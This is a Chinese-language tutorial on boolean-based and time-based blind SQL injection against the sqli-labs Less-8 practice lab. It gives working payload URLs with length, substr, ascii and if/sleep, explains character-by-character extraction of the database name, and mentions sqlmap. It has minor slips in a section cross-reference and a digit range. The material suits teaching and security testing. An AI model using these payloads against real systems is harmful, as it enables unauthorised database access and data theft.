1.1 SQL盲注
1.1.1 布尔注入
基于布尔的判断是根据我们构造语句返回的True或者False来判断数据内容。
布尔型有多种写法:
- and 1=1 简写and 1
- and 1=2 简写and 0
注意:简写时只有and 0为假,非0都为真。
length函数的使用方法:用于在MySQL中计算字段的长度,一个汉字是算3个字符,一个数字或字母算1个字符。
1.1.1.1 使用length对数据库名称长度进行猜解
- 测试URL:http://192.168.10.159/sqli-labs/Less-8/?id=1' and (length(database())=8) --+
- 实际SQL:SELECT * FROM users WHERE id='1' and (length(database())=8) -- ' LIMIT 0,1
【结果分析】:
我们通过构造一个判断条件( length(database()) = 8)判断目标是否满足条件,满足条件则执行成功,不满足则执行失败。
- database()是当前数据库名称
- length(database())取出数据库名称的长度
- < = >分别为大于、等于、小于,用来判断是否满足条件,用来猜解。
我们已经知道数据库名称是security,所以设定条件< =8都可以正常登录。
1.1.1.2 使用substr和ascii对数据库名称进行猜解
- 测试URL:
http://192.168.10.159/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1))>110) --+
http://192.168.10.159/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1))>115) --+
http://192.168.10.159/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1))=115) --+
- 实际SQL:
SELECT * FROM users WHERE id='1' and (ascii(substr(database(),1,1))>110) -- ' LIMIT 0,1
SELECT * FROM users WHERE id='1' and (ascii(substr(database(),1,1))>115) -- ' LIMIT 0,1
SELECT * FROM users WHERE id='1' and (ascii(substr(database(),1,1))=115) -- ' LIMIT 0,1
【结果分析】:
substr(database(),1,1)表示取出数据库名称的第一个字符, 第一个1表示从第几个字符开始,第二个1表示取几个字符,我们猜解出一个值之后就要把第一个值+1用来猜解第二个值。
ascii(substr(database(),1,1)) > 110将取出的字符转码为ASCII码,后面的>110也是用来判断ASCII
数值的,所以最终取出的结果应该对照ASCII表来查找具体是哪个字符。
取值范围思路:先使用<>大于号小于号确定范围,然后一直缩小范围,当范围缩小到个位数就可以用=号来判断具体数值。
数据库命名规则规定只能是数字、小写字母和下划线,所以猜测的值得范围为:
- 数字1-10:48-57
- 下划线_:95
- 小写字母a-z:97-122
【猜解流程】:
- 通过3.1.1猜解出数据库名称长度为8,所以我们需要猜解8个字符;
- 使用<>=号判断取值范围并最终确定取值
- 通过ascii表查询取值对应的字符
- 使用ascii(substr(database(),2,1)) ascii(substr(database(),3,1)) ...依次猜解后续字符
- 将8个字符连接后即为最终的数据库名称
PS.实际场景中我们使用sqlmap进行自动猜解。
1.1.2 延时注入
基于时间的则是使用if 语句进行判断数值,不符合判断条件则执行sleep语句,从而造成页面的响应时间变长,根据页面的响应时间来判断结果。
1.1.2.1 判断符合条件
- 测试URL:http://192.168.10.159/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3)) --+
- 实际SQL:SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1))=115,1,sleep(3)) -- ' LIMIT 0,1
【结果分析】:
当if () 中的条件满足时则直接返回,如果不满足时则走sleep,页面的响应时间根据所指定时长返回,从而可以判断注入的语句是否执行成功。
【字段解释】:
以and if(ascii(substr(database(),1,1))=115,1,sleep(3))语句分为三段:
- if(ascii(substr(database(),1,1))=115:指定的条件
- 1:表示if条件成立后,则执行的内容,这里的执行的内容和语句中的and或or有很大关系
- sleep(3):表示当if条件不成立时执行的内容,sleep 表示休眠,(3) 休眠时间,秒为单位
1.1.2.2 判断不符合条件
- 测试URL:http://192.168.10.159/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(),1,1))=116,1,sleep(3)) --+
- 实际SQL:SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1))=116,1,sleep(3)) -- ' LIMIT 0,1
【结果分析】:
因为条件不成功,因此走sleep,我们定义的是3秒,所以休眠了3秒才返回结果
